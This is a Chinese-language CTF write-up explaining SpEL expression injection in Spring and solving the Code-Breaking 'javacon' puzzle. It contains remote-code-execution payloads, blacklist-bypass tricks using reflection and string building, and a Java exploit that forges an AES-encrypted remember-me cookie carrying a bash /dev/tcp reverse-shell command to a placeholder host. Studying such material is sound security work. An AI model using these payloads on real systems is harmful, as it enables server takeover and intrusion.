最近稍微补了补Spring相关的知识点,正好把之前一直没啃下来的SpEL表达式注入学了,这里就借Code-Breaking的题目来记录一下学到的东西
题目地址:Code-Breaking Puzzles javacon
SpEL表达式注入
测试环境:Jdk17,SpringBoot3
漏洞原理
有关SpEL表达式的基础就不展开讲了,详情可移步这篇 SpEL表达式注入漏洞总结 [Mi1k7ea]
基本漏洞代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
package com.boot.boot302demo;
import ...
@RestController
public class SpELDemo {
@RequestMapping("/")
public String spelDemo(@RequestParam String ex) {
if(ex != null) {
ExpressionParser parser = new SpelExpressionParser(); //创建SpEL解析器
EvaluationContext context = new StandardEvaluationContext(); //创建表达式解析时的上下文环境
Expression exp = parser.parseExpression(ex); //将传入的ex解析为SpEL表达式对象
return exp.getValue(context).toString(); //调用getValue对表达式进行求值并转为字符串返回
} else {
return "What are you doing?";
}
}
}
|
基于Expression实现的SpEL表达式解析无需通过界定符#{}
来注明
启动环境后,在web根目录传入ex参数,即可实现表达式解析,如T(Math).sqrt(16)
会被解析为4.0
SpEL提供了两个EvaluationContext用于创建上下文环境,分别是Simple与我们的测试代码中使用的Standard
SimpleEvaluationContext
:针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集
StandardEvaluationContext
:公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
因此,如果要实现SpEL表达式注入,目标必须使用StandardEvaluationContext
(默认)作为上下文对象
根据之前的测试代码可看到,SpEL表达式可通过类类型表达式T()
来调用任意类方法,但是除了java.lang
包下的类,调用的类必须为全类名。所以我们就可以通过T()
表达式来调用危险类,实现命令执行,如Runtime
利用条件
总结一下
- 传入的表达式未被过滤或者能够Bypass
- 目标使用
StandardEvaluation
作为上下文对象
- 表达式解析后调用了
getValue
或setValue
方法
一些Bypass技巧
稍微收集了一些基础的POC,默认去掉了#{}
POC原型:
1
2
3
4
5
|
//Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
//ProcessBuilder
new java.lang.ProcessBuilder(new String{"calc"}).start()
|
Bypass:
1
2
3
4
5
6
7
8
9
10
11
12
|
//反射调用Runtime
T(String).getClass().forName("java.lang.Runtime").getRuntime.exec("calc")
//反射调用Runtime + 字符串拼接
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
//String类动态生成字符Runtime
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
//String类动态生成字符ProcessBuilder
new new ProcessBuilder(new String(new byte[]{99,97,108,99})).start()
|
String类动态生成字符的脚本,来自Mi1k7ea师傅
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
message = input("Enter message to encode:")
print("Decoded string (in ASCII):\n")
print("T(java.lang.Character).toString(%s)" % ord(message[0]), end="")
for ch in message[1:]:
print(".concat(T(java.lang.Character).toString(%s))" % ord(ch), end=""),
print("\n")
print("new java.lang.String(new byte[]{", end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(",%s" % ord(ch), end=""),
print("})")
|
多参数命令需要手动拼接
这里只记录了最基础的几种利用方法,包括远程调用在内的其他利用方法之后单独出一篇总结
javacon WriteUp
jar包下载:javacon 源码
开启环境后先尝试下登录功能,弱口令admin登录成功后,服务端返回了一个参数为remember-me
的cookie,同时回到web根目录,回显登录成功的信息
代码审计
把jar包导入IDEA反编译,项目结构如下:
从SpringBoot的配置文件application.yml
开始
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1
|
keywords
是KeyworkProperties
类的配置属性,定义了黑名单
user
是UserConfig
类的配置属性,定义了用户名、密码与加密密钥
其他文件:
SmallEvaluationContext
继承自StandardEvaluationContext
,用于提供上下文环境
Encryptor
为加解密工具类,用于实现加解密操作
ChallengeApplication
为程序入口,用于启动
接下来主要看MainController
根据之前对web页面功能点的尝试结果,决定从登录开始看起,毕竟无论漏洞点在何处,都需要先进行登录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
|
用户名与密码校验通过后,如果勾选了rememberMe,则将加密后的Cookie存入浏览器
跟进加密过程,在UserConfig
的encryptRememberMe
方法中调用了Encryptor
的encrypt
方法
可以看到指定了配置文件中的加密密钥与iv,第三个参数为当前用户名,也就是要被加密的内容
1
2
3
4
|
public String encryptRememberMe() {
String encryptd = Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username);
return encryptd;
}
|
登录成功跳转至根目录后其中一个比较敏感的操作是对Cookie的处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
|
判断rememberMe是否存在,若存在则对该值进行解密,和加密一样,也是调用了UserConfig
的解密方法,其中调用了Encryptor
的decrypt
方法
解密后的内容在调用getAdvanceValue
方法后发送到hello.html中并跳转
1
|
<h2 th:text="'Hello, ' + ${session.username}"></h2>
|
问题就出在这个getAdvanceValue
方法中
1
2
3
4
5
6
7
8
9
10
11
12
13
|
private String getAdvanceValue(String val) {
for(String keyword : this.keyworkProperties.getBlacklist()) {
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
|
在Controller的开头程序就创建了SpEL解释器,因此这里不再重复创建
先是对解密后的内容进行黑名单关键字匹配,如果匹配到则抛出HttpStatus.FORBIDDEN
没有匹配到就进行SpEL表达式解析,最后返回字符串
结合我们之前给出的三个前置利用条件,确认这里存在SpEL表达式注入漏洞,我们只需要绕过黑名单即可
编写Exploit
利用思路:
- 编写恶意的SpEL表达式绕过黑名单
- 用
Encryptor
中的加密方法加密恶意表达式,生成cookie
- 携带该cookie访问web根目录,触发SpEL表达式注入
首先需要绕黑名单,过滤了一些关键字,因此可以用反射与字符串拼接来绕过
payload:
1
|
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/[ip]/[port] 0>&1"})
|
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class TestClass {
public static void main(String[] args) {
String rememberMeKey = "c0dehack1nghere1";
String iv = "0123456789abcdef";
String value = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/[ip]/[port] 0>&1\"})}";
System.out.println(encrypt(rememberMeKey, iv, value));
}
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes(StandardCharsets.UTF_8));
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, keySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception ex) {
return ex.getMessage();
}
}
}
|
服务器监听后带上cookie访问web根目录即可成功反弹shell
由于目标使用了TemplateParserContext
解析上下文,因此我们编写的表达式需要带上界定符#{}
参考
SpEL表达式注入漏洞总结 [Mi1k7ea]
SPEL表达式注入总结及回显技术 [Boogipop]
JAVA代码审计之SpEL表达式 [JFH998]